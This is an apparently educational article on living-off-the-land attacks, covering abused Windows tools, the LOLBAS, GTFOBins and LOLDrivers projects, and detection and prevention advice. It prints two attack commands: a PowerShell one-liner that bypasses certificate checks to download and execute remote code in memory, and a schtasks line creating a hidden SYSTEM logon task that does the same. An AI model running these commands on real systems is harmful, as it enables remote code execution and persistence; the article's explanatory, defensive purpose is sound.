Living-Off-the-Land (LOTL) Attack
LOTL Attack:
In a LOTL attack, the hacker uses features and tools already available in the target system to continue the attack without being detected. This kind of attack doesn’t involve using malicious code or software that is simple for conventional security measures to identify. Rather, they take advantage of the administrative tools, batch files, and built-in system functions to take over the system and steal confidential data.
Living off the Land tools, methods, and procedures (TTPs) have been quite popular in the last few years, even though the word was first used in 2013. This is due in part to the typical defensive security approach’s inability to recognize new attacks, which involves blacklisting file hashes, domains, and other signs of threats found in earlier attacks.
A few instances of LotL attacks are the use of PowerShell or Windows Management Instrumentation (WMI) for malicious purposes, the creation of malicious scripts using built-in scripting languages like Python or Ruby, and the execution of malicious code using scheduled tasks and registry entries. These are covered in more detail in the section that follows.
Advantages of LOTL Attack:
- Finding anomalies can be challenging, even in cases when log files are generated.
- Alarms are rarely raised when ordinary cloud services and system tools are used for data exfiltration.
- The living off the land strategy makes it challenging to identify the source of an attack, even if one is found because many groups employ comparable methods and resources.
Common Tools Used in LOTL:
CMD.exe:
WScript.exe/CScript.exe:
Powershell:
Example:
powershell.exe -nop -ep Bypass -noexit -c [System.
Net.ServicePointManager]::
ServerCertificateValidationCallback = { $true
}; iex ((New-Object System.Net.WebClient).
DownloadString(‘[REMOVED]’))
This command downloads an encrypted DLL into memory and uses the PowerShell reflective DLL loader code to run it.
schtasks.exe/at.exe:
Example:
schtasks /create /tn Trojan /tr “powershell.exe
-WindowStyle hidden -NoLogo -NonInteractive -ep
bypass -nop -c ‘IEX ((new-object net.webclient).
downloadstring(‘’[REMOVED]’’))’” /sc ONLOGON /ru
System
This scheduled task will execute a command at specific trigger moments on a local or remote system.
MSHTA.exe:
Reg.exe:
Wmic.exe:
Remote Admin tools:
Opensource Projects:
Three initiatives are focused on providing guidance to prevent LOTL attacks.
LOLBAS:
Living Off The Land Binaries and Scripts (LOLBAS) is a project that compiles a list of Windows executables that can be used to bypass security controls, execute code, and more. It’s a resource for understanding how these binaries can be potentially exploited in a system.
GTFOBins:
GTFOBins is a similar project that focuses on Unix platforms. It curates Unix binaries that can be used to circumvent local security limitations, revealing how these binaries might be abused in compromised systems.
LOLDrivers:
LOLDrivers is a project that collects legitimate Windows drivers that can be used by attackers to circumvent security safeguards. It lists these drivers, their capabilities, and potential hazards to help with threat understanding and mitigation.
Detection & Prevention:
- Multi-Factor Authentication (MFA): Even if an attacker manages to obtain the user’s password, it will be more difficult for them to access the system thanks to MFA’s extra security layer.
- Principle of least privilege: Organizations can reduce the potential impact an attacker can cause by limiting user privileges.
- Implement network segmentation: Organizations can restrict the ability of attackers to propagate by segmenting their networks into different parts.
- Employee Training: Employees who receive cybersecurity awareness and safe practices training may be better able to spot odd system behavior, unexpected warnings or messages, or system modifications.
- Leverage threat intelligence: Keeping up with emerging attack methods, indicators of compromise (IoCs), and other pertinent threat information, like supply chain intelligence, requires utilizing threat intelligence.
- Monitor User Behavior: UEBA and other behavioral technologies monitor specific user activities, such as extended usage of a given system, the time of day a command is issued, and other anomalies in typical behavior.